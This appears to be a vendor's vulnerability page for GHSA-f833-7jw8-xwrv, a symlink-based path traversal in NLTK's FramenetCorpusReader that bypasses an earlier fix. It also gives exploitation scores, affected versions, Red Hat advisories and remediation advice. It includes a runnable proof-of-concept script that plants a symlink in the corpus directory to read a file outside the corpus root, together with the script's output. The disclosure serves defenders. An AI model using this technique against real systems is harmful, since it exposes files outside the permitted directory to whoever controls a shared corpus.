# GHSA-f833-7jw8-xwrv: nltk — Fixed in 3.10.2 | O3 Security

🐍

🐍 PyPI

Not in CISA KEV

HIGH severity

# GHSA-f833-7jw8-xwrv — nltk

HIGH [Fix: nltk/nltk#3726](https://github.com/nltk/nltk/pull/3726)

GHSA-f833-7jw8-xwrv is a high-severity (CVSS 7.5) Path Traversal vulnerability in nltk. A fix is available for nltk — see the affected versions and patch details below.

NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)

Also known as[CVE-2026-62384](/vulnerability/CVE-2026-62384)PYSEC-2026-3789

Published

Sep 8, 2026

Updated

Sep 8, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Oct 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-f833-7jw8-xwrv.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.7%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk

0.15%0.48%0.82%1.15%0.7%0.7%Oct 26Oct 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

GHSA-f833-7jw8-xwrv by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

## Where this sits among everything scored

Of 382,795 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

## Real-World Exposure

1 pkg affected

🐍`nltk`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

## Description

This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

### Summary

The original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`\-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

### Affected code (`nltk/corpus/reader/framenet.py`)

-   `frame_by_name()` reads `<frame_dir>/<name>.xml`
-   `_lu_file()` reads `<lu_dir>/lu<id>.xml`
-   `doc()` reads `<fulltext_dir>/<filename>`

All three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.

### Proof of concept

Self-contained, runnable end to end.

```
import os
import tempfile

from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)

with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
    f.write("<frameRelations/>")

secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write(
        '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
        "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
        "</frame>"
    )

# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)

reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}}  # skip unrelated index build

result = reader.frame_by_name("evil_link")   # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])
```

Actual output when run against unpatched `main` (commit `35813c8`):

```
frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT
```

That content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `"evil_link"` contains no separators, `..`, or drive prefix.

Verified the same way for the other two affected call sites, `_lu_file()` (`lu<id>.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.

### Why this is in scope

-   No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
-   Core corpus-reader code, not a demo/GUI tool.
-   Confirmed unintentional: PR #3581's own description states the goal was to route through "the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).

### Suggested fix

Route all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐍PyPI

`nltk` 

≥ 3.10.0&&< 3.10.2

3.10.2`pip install --upgrade 'nltk==3.10.2'`

## Affected Products

1 product · 1 configurations

Application

`nltk`nltk

≥ 3.10.0 && < 3.10.2

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update nltk to 3.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f833-7jw8-xwrv is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
    

## Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

A path traversal vulnerability exists in NLTK's FramenetCorpusReader component via symbolic links. When resolving corpus files using methods like frame\_by\_name(), \_lu\_file(), or doc(), path validation checks fail to restrict symlinks containing no path separators within subdirectories. An attacker capable of placing…

Workaround published by Red Hat

> Restrict write permissions on NLTK corpus subdirectories to prevent unauthorized symlink creation, or sanitize input paths to prevent FramenetCorpusReader from loading untrusted corpus files containing unresolved symbolic links.

Source: [Red Hat security advisory for GHSA-f833-7jw8-xwrv](https://access.redhat.com/security/cve/ghsa-f833-7jw8-xwrv) (CC BY 4.0)

Product

Fixed in

Advisory

Red Hat OpenShift AI 3.3

`rhoai/odh-llama-stack-core-rhel9:1789121286`

[RHSA-2026:73987](https://access.redhat.com/errata/RHSA-2026:73987)

Red Hat OpenShift AI 3.5

`rhoai/odh-ta-lmes-job-rhel9:1788935863`

[RHSA-2026:69539](https://access.redhat.com/errata/RHSA-2026:69539)

## Frequently Asked Questions

This is a \*\*new, distinct vulnerability\*\*: a bypass of the fix already published as \[GHSA-xh95-f55m-82fw\](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it. ## Summary The original advisory was fixed (PR \[#3581\](https://github.com/nltk/nltk/pull/3581)) by adding \`\_reject\_unsafe\_path\_component()\`, which blocks literal \`/\`, \`\\\`, \`..\`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All thre

O3 Security · Impact-Aware SCA

### Is GHSA-f833-7jw8-xwrv in your dependencies?

Find it across PyPI, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)